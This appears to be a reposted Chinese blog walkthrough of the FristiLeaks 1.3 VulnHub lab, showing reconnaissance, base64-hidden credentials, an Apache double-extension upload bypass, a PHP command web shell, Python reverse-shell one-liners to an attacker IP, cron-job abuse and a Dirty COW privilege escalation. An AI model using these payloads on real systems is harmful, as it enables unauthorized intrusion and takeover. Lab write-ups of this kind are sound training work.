当前位置:   article > 正文

靶机渗透FristiLeaks1.3 ☀️新手详细☀️_fristileaks靶机

fristileaks靶机

0x01靶机描述

靶机基本信息:

链接https://www.vulnhub.com/entry/fristileaks-13,133/
作者Ar0xA
发布日期2015年12月14日
难度中等

靶机基本介绍:
在这里插入图片描述

一个小型虚拟机是为一个叫做Fristileaks的荷兰非正式黑客聚会而设计的。意味着可以在几个小时内完成,而无需调试程序、逆向工程等。。

0x02环境搭建

  1. 下载并导入靶机
    打开vmware–文件–打开–FristiLeaks_1.3.ova

在这里插入图片描述

  1. 在开启之前我们需要将靶机网络适配器改为NAT模式,并且对MAC地址进行手动编辑

VMware用户需要手动将VM的MAC地址编辑为:08:00:27:A5:A6:76
在这里插入图片描述
在这里插入图片描述

  1. 启动靶机
    点击 ▶靶机,开启成功

在这里插入图片描述

0x03靶机渗透

一、 信息收集

1. 主机发现
netdiscover -i eth0 -r 192.168.30.0/24
  • 1

在这里插入图片描述
在这里插入图片描述

2. 端口扫描
masscan --rate=100000 -p 0-65535 192.168.30.195
  • 1

在这里插入图片描述

3. 详细扫描
nmap -T4 -sV -O -p 80 192.168.30.195
  • 1

在这里插入图片描述

4. dirb目录扫描
dirb http://192.168.30.195 /usr/share/dirb/wordlists/big.txt
  • 1

在这里插入图片描述

5. 网站指纹识别
whatweb http://192.168.30.195
  • 1

在这里插入图片描述

二、 漏洞挖掘

base64解密

1. 寻找url

通过照片上的提示“This is not the url”,我们可以大概猜测到是想让我们寻找url链接或路径
在这里插入图片描述

尝试将fristi作为路径进行访问
在这里插入图片描述
成功访问,发现登录页面,在这里可以进行弱口令,暴力破解,尝试找sql注入点(但这些都没有成功)

http://192.168.30.195/fristi/
  • 1

在这里插入图片描述

2. 查看源码,base64解密

2.1 查看源码发现了一封邮件,还有很长的base64加密的密文,我们可以猜想这个发件人可能为这里的用户名,base64为加密的密码
在这里插入图片描述

2.2 首先想到的就是将密文在kali上进行解密

base64 -d base64.txt > base.txt
  • 1

在这里插入图片描述
但是解密后显示PNG,可以才想到应该是解密成PNG文件

2.3 继续进行解密为base64.PNG

base64 -d base64.txt > base64.png
  • 1

在这里插入图片描述
在这里插入图片描述

3. 登录成功

用户名:eezeepz 密码:keKkeKKeKKeKkEkkEk

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
发现是一个文件上传点

文件上传漏洞

1. 尝试修改抓包修改后缀进行绕过,失败

在这里插入图片描述

2. 进行多后缀文件上传

查看到这是一个apache服务器

apache 的解析漏洞,上传如 a.php.rar a.php.gif 类型的文件名,可以避免 对于php文件的过滤机制,但是由于 apache 在解析文件名的时候是从右向左读,如果遇到不能识别的扩展名则跳过,rar 等扩展名是 apache 不能识别的, 因此就会直接将类型识别为 php,从而达到了注入php代码的目的。

在这里插入图片描述
将写好查看phpinfo信息页面脚本进行上传
在这里插入图片描述
在这里插入图片描述
上传成功,并且上传到了/uploads文件夹下

3. 打开上传的文件,显示出php信息

在这里插入图片描述
此处存在文件上传漏洞

三、 漏洞利用

1. 上传木马文件

上传方法与上传phpinfo.php.gif相同

<?php @system($_POST[cmd]);?>
  • 1

在这里插入图片描述

2. 使用hackbar切换POST方法传参访问
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.30.182",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/sh")'
  • 1

在这里插入图片描述

3. 成功反弹shell

在这里插入图片描述

四、 提权

方法一:sudo提权(确实很绕)

1. 寻找到提权信息

在用户eezeepz的家目录下找到文件notes.txt
在这里插入图片描述

我让你可以做一些自动检查,但我只允许您访问/usr/bin/*系统二进制文件。
然而,我确实复制了一些额外的经常需要的命令到我的homedir:chmod、df、cat、echo、ps、grep、egrep,这样您就可以使用它们了
来自/home/admin/
不要忘记为每个二进制文件指定完整路径!
只需在/tmp/中放入一个名为“runthis”的文件,每行一个命令。这个输出转到/tmp/中的文件“cronresult”。它应该以我的帐户权限每分钟运行一次。

根据提示我们可以看出,在/tmp/中放入一个名为“runthis”的文件,而这个文件就类似/etc/crontab文件,在这里是以admin用户定时执行任务,所以我们的思路是可以利用这个漏洞拿到admin用户的shell

2. 编写反弹shell脚本
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("192.168.30.182",8421));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1); 
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8

在这里插入图片描述
并且打开Apache服务器

3. 通过wget下载反弹shell脚本
wget http://192.168.30.182/privilege.py
  • 1

在这里插入图片描述

4. 向runthis中写入执行命令

方法一:写入执行反弹shell的命令,我们可以拿到admin用户的shell

echo '/usr/bin/python /tmp/privilege.py' > runthis
  • 1

在这里插入图片描述

方法二:将用户admin的家目录权限设置为所有用户均可访问

echo '/usr/bin/../../bin/chmod -R 777 /home/admin' > runthis
  • 1

在这里插入图片描述
从执行命令前后我们可以看出admin用户目录权限的变化
在这里插入图片描述

5. 监听拿到admin用户的shell

在这里插入图片描述

6. python打开一个标准的shell
python -c 'import pty;pty.spawn("/bin/bash")'
  • 1

在这里插入图片描述

7. base64解密

在用户admin家目录下发现加密代码,以及加密后的字符
在这里插入图片描述
根据加密加密代码我们可以编写解密代码

#decoderot13.py
import base64,codecs,sys

def decodeString(str):
    base64string= codecs.decode(str,'rot13')
    return base64.b64decode(base64string[::-1])

cryptoResult=decodeString(sys.argv[1])
print cryptoResult
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9

在这里插入图片描述
根据密码显示的内容,得到可能是用户fristigod的密码

8. 尝试切换fristigod用户

在这里插入图片描述
切换成功

9. 查看sudo可执行的文件

在这里插入图片描述
查看历史可以发现使用这个可执行文件可以以root身份执行命令
在这里插入图片描述
那么我们可以以root身份打开一个终端,终端自然是root权限,提权成功

sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom /bin/bash
  • 1

在这里插入图片描述

10. 查看flag:

在这里插入图片描述

方法二:脏牛提权

1. 主机开启http服务,并且将脏牛脚本放置网站根目录下
service apache2 start
  • 1

在这里插入图片描述

2. wget下载脏牛脚本,并赋权
wget http://192.168.30.182/dirty.c
chmod 777 dirty.c
  • 1
  • 2

在这里插入图片描述

3. 编译运行
gcc -pthread dirty.c -o dirty -lcrypt
./dirty 123456
  • 1
  • 2

在这里插入图片描述
运行成功

4. 切换firefart用户,成功提权

在这里插入图片描述

5. 查看flag:

在这里插入图片描述

0x04实验总结

  1. 该靶机属于CTF典型靶机,运用base64加密做了很多关卡,所以必须懂得base64加密。
  2. 当你感觉无从下手的时候F12可以查看源码,也可以进行收集框架漏洞等。
  3. 文件上传漏洞考察了Apache服务器的对文件解析漏洞
  4. 提权时一般重点就是在用户家目录或/tmp目录下查找提权有关的信息,提全时一定要发散思维,多想想
声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/IT小白/article/detail/687419
推荐阅读
相关标签
  

闽ICP备14008679号